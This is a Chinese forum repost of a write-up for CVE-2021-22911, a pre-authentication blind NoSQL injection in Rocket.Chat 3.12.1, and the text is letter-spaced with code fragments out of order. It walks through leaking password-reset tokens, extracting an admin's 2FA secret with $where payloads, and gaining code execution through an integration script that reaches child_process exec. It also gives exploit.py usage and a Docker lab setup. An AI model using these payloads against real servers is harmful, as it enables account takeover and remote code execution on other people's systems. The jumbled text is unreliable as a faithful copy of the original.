搜索

[29062] 2021-07-12_【安全工具】CVE-2021-22911预认证盲NoSQL注入导致RocketChat3.12.1中的远程代码执行

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-19
2021-07-12_【安全工具】CVE-2021-22911预认证盲NoSQL注入导致RocketChat3.12.1中的远程代码执行 【 安 全 工 具 】 C V E - 2 0 2 1 - 2 2 9 1 1 预 认 证 盲   N o S Q L   注 入 导 致   R o c k e t   C h a t   3 . 1 2 . 1   中 的 远 程 代 码 执 行 O t s 安 全   2 0 2 1 - 0 7 - 1 2 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 C V E - 2 0 2 1 - 2 2 9 1 1 预 认 证 盲   N o S Q L   注 入 导 致   R o c k e t   C h a t   3 . 1 2 . 1   中 的 远 程 代 码 执 行 g e t P a s s w o r d P o l i c y   方 法 容 易 受 到   N o S Q L   注 入 攻 击 ， 并 且 不 需 要 身 份 验 证 / 授 权 。 它 可 用 于 通 过 泄 露 密 码 重 置 令 牌 来 接 管 帐 户 。 接 管 管 理 员 帐 户 会 导 致 远 程 代 码 执 行 。 解 释 解 释 1 .   劫 持 用 户 的 帐 户 （ 未 经 身 份 验 证 ） 劫 持 用 户 的 帐 户 （ 未 经 身 份 验 证 ） 在 密 码 重 置 令 牌 令 牌 参 数 的 g e t P a s s w o r d P o l i c y 端 点 中 有   N o S Q L   注 入 ， 它 采 用   j s o n   对 象 ， 允 许 我 们 使 用 $ r e g e x 运 算 符 。 我 们 使 用 它 来 执 行 盲   n o s q l   注 入 以 获 取 重 置 令 牌 。 2 .   权 限 提 升 到 管 理 员 （ 已 认 证 ） 权 限 提 升 到 管 理 员 （ 已 认 证 ） 所 以 a d m i n 用 户 最 有 可 能 受 到 2 f a 的 保 护 。 因 此 ， 即 使 我 们 通 过   ( 1 )   更 改 管 理 员 的 密 码 ， 它 也 会 在 登 录 时 提 示 输 入   2 f a   代 码 。 u s e r s . l i s t   a p i   端 点 采 用 容 易 受 到   n o s q l   注 入 的 查 询 参 数 。 我 们 还 可 以 通 过 抛 出 错 误 来 检 索 数 据 。 我 们 运 行 以 下 查 询 来 获 取 管 理 员 的   2 f a   秘 密 ：   接 下 来 我 们 只 需 执 行   ( 1 )   来 重 置 管 理 员 的 密 码 并 使 用   2 f a   密 码 生 成 我 们 可 以 用 来 登 录 的 代 码 。 更 新 ： 您 还 可 以 通 过 与 检 索 更 新 ： 您 还 可 以 通 过 与 检 索   2 f a   s e c r e t   相 同 的 方 式 检 索 重 置 令 牌 相 同 的 方 式 检 索 重 置 令 牌 ： 3 .   R C E （ 认 证 （ 认 证   -   管 理 员 ） 管 理 员 ） R o c k e t . C h a t   有 一 个 叫 做 集 成 的 功 能 ， 它 允 许 创 建 传 入 和 传 出 的 网 络 钩 子 。 这 些 网 络 钩 子 可 以 有 与 之 关 联 的 脚 本 ， 这 些 脚 本 在 网 络 钩 子 被 触 发 时 执 行 。 我 们 使 用 以 下 脚 本 创 建 集 成 ： 接 下 来 我 们 只 需 触 发   w e b h o o k   来 获 取   r c e   : ) 用 法 用 法 您 将 需 要 一 个 没 有   2 f a   设 置 的 低 权 限 用 户 的 电 子 邮 件 。 (   - u   ) 您 还 需 要 知 道 管 理 员 电 子 邮 件 。 如 果   a d m i n   受   2 f a   保 护 ， 这 不 是 问 题 。 （   - 一 种   ） 环 境 环 境 在   R o c k e t   C h a t   3 . 1 2 . 1   上 测 试 使 用   d o c k e r   构 建 您 自 己 的 测 试 环 境 ： 启 用 密 码 策 略 为 管 理 员 启 用   2 F A 注 册 一 个 普 通 用 户 。 注 意 ： 如 果 您 不 想 使 用   2 F A   保 护 管 理 员 ， 您 可 以 执 行 以 下 操 作 。 发 送 忘 记 密 码 邮 件 为 管 理 员 获 取 重 置 令 牌 使 用 检 索 到 的 重 置 令 牌 更 改 密 码 { " $ w h e r e " : " t h i s . u s e r n a m e = = = ' a d m i n ' + & & + ( ( ) = > { + t h r o w + t h i s . s e r v i c e s . t o t p . s e c r e t + } ) ( ) " } { " $ w h e r e " : " t h i s . u s e r n a m e = = = ' a d m i n ' + & & + ( ( ) = > { + t h r o w + t h i s . s e r v i c e s . p a s s w o r d . r e s e t . t o k e n + } ) ( ) " } c o n s t   r e q u i r e   =   c o n s o l e . l o g . c o n s t r u c t o r ( ' r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ' ) ( ) ; c o n s t   {   e x e c   }   =   r e q u i r e ( ' c h i l d _ p r o c e s s ' ) ; e x e c ( ' c o m m a n d   h e r e ' ) ; p y t h o n 3   e x p l o i t . p y   - u   " u s e r @ r o c k e t . l o c a l "   - a   " a d m i n @ r o c k e t . l o c a l "   - t   " h t t p : / / r o c k e t . l o c a l " d o c k e r   r u n   - - n a m e   d b   - d   m o n g o : 3 . 6   - - s m a l l f i l e s   - - r e p l S e t   r s 0   - - o p l o g S i z e   1 2 8 d o c k e r   e x e c   - t i   d b   m o n g o   - - e v a l   " p r i n t j s o n ( r s . i n i t i a t e ( ) ) " d o c k e r   r u n   - - n a m e   r o c k e t c h a t   - p   8 0 : 3 0 0 0   - - l i n k   d b   - - e n v   R O O T _ U R L = h t t p : / / l o c a l h o s t   - - e n v   M O N G O _ O P L O G _ U R L = m o n g o d b : / / d b : 2 7 0 1 7 / l o c a l   - d   r o c k e t . c h a t : 3 . 1 2 . 1 #   A d m i n   A c c o u n t   T a k o v e r   [   N o   2 f a   ] f o r g o t p a s s w o r d ( a d m i n m a i l , t a r g e t )
学 分 学 分 h t t p s : / / h a c k e r o n e . c o m / r e p o r t s / 1 1 3 0 7 2 1 （ 声 纳 来 源 ） h t t p s : / / b l o g . s o n a r s o u r c e . c o m / n o s q l - i n j e c t i o n s - i n - r o c k e t - c h a t 利 用 数 据 库 利 用 数 据 库 h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 4 9 9 6 0   (   v 1   ) h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 5 0 1 0 8   (   v 2   ) 阅 读 原 文 t o k e n   =   r e s e t t o k e n ( t a r g e t ) c h a n g i n g p a s s w o r d ( t a r g e t , t o k e n )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理